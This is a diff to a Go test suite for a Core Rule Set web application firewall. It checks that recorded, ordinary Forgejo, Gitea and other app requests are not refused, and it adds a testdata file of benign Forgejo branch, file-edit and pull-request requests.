if got := inspect(t, crs, r); got.Score >= threshold {
|
appsUnset: atDefaults(t),
|
||||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
"SWW_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
||||||
|
} {
|
||||||
|
for _, r := range requests {
|
||||||
|
got := inspect(t, crs, withHost(r, giteaHost))
|
||||||
|
if got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s: %s %q refused: %+v",
|
||||||
|
apps,
|
||||||
|
r.target,
|
||||||
|
r.headers[1:],
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -102,101 +122,163 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused, at the defaults and
|
// requests in the file name in testdata is refused: with SWW_APPS unset, and
|
||||||
// while bodies are read. A request with neither a body nor a Content-Type
|
// on the hostname where they were recorded, otherHost for WordPress and
|
||||||
// header is checked only at the defaults: with neither, the set that reads
|
// example.com for the other apps, while SWW_APPS lists only app for it. Both
|
||||||
// bodies has nothing more to check. Each request runs as its own parallel
|
// times, they are checked at the defaults and while bodies are read. A
|
||||||
// subtest.
|
// request with neither a body nor a Content-Type header is checked only at
|
||||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
// the defaults: with neither, the set that reads bodies has nothing more to
|
||||||
|
// check. Each request runs as its own parallel subtest for each setting of
|
||||||
|
// SWW_APPS.
|
||||||
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
requests := recordedRequests(t, name)
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, name) {
|
for setting, apps := range map[string]map[string][]string{
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
appsUnset: nil,
|
||||||
t.Parallel()
|
"SWW_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
||||||
|
} {
|
||||||
|
defaults := servingApps(t, apps)
|
||||||
|
bodies := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyLimit: bodyLimit, Apps: apps,
|
||||||
|
})
|
||||||
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
for _, recorded := range requests {
|
||||||
|
t.Run(
|
||||||
|
setting+": "+recorded.Method+" "+recorded.Target,
|
||||||
|
func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
r := request{
|
||||||
if got.Score >= threshold {
|
recorded.Method,
|
||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
recorded.Target,
|
||||||
}
|
recorded.Headers,
|
||||||
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||||
recorded.Headers,
|
if got.Score >= threshold {
|
||||||
func(header string) bool {
|
t.Errorf(
|
||||||
name, _, _ := strings.Cut(header, ":")
|
"%s %s refused: %+v",
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
return strings.EqualFold(name, "Content-Type")
|
typed := slices.ContainsFunc(
|
||||||
|
recorded.Headers,
|
||||||
|
func(header string) bool {
|
||||||
|
name, _, _ := strings.Cut(header, ":")
|
||||||
|
|
||||||
|
return strings.EqualFold(name, "Content-Type")
|
||||||
|
},
|
||||||
|
)
|
||||||
|
if recorded.Body == "" && !typed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||||
|
if got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s %.200q refused while bodies are read: %+v",
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
recorded.Body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
if recorded.Body == "" && !typed {
|
}
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
|
||||||
if got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
|
||||||
r.method, r.target, recorded.Body, got)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
||||||
// defaults only. While bodies are read, the Core Rule Set still refuses the
|
// defaults only: with SWW_APPS unset, and on example.com, where they were
|
||||||
// file and branch names some of them carry in a form or JSON body, as it does
|
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
|
||||||
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
|
// the Core Rule Set still refuses a new wiki page whose title and text name
|
||||||
|
// commands and files, as it does such text in gitea's comments
|
||||||
|
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
|
||||||
|
// branch in a body are checked while bodies are read in
|
||||||
|
// TestForgejoNamesInBodiesPass.
|
||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||||
|
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
|
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
appsUnset: atDefaults(t),
|
||||||
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
||||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
} {
|
||||||
|
for _, recorded := range requests {
|
||||||
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||||
|
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s: %s %s refused: %+v",
|
||||||
|
apps,
|
||||||
|
r.method,
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
|
||||||
|
// file or a branch in a body, while bodies are read too.
|
||||||
|
func TestGiteaNamesInBodiesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
|
||||||
|
func TestForgejoNamesInBodiesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
|
||||||
|
}
|
||||||
|
|
||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
|
||||||
|
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||||
|
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
|
||||||
|
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||||
|
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
|
||||||
|
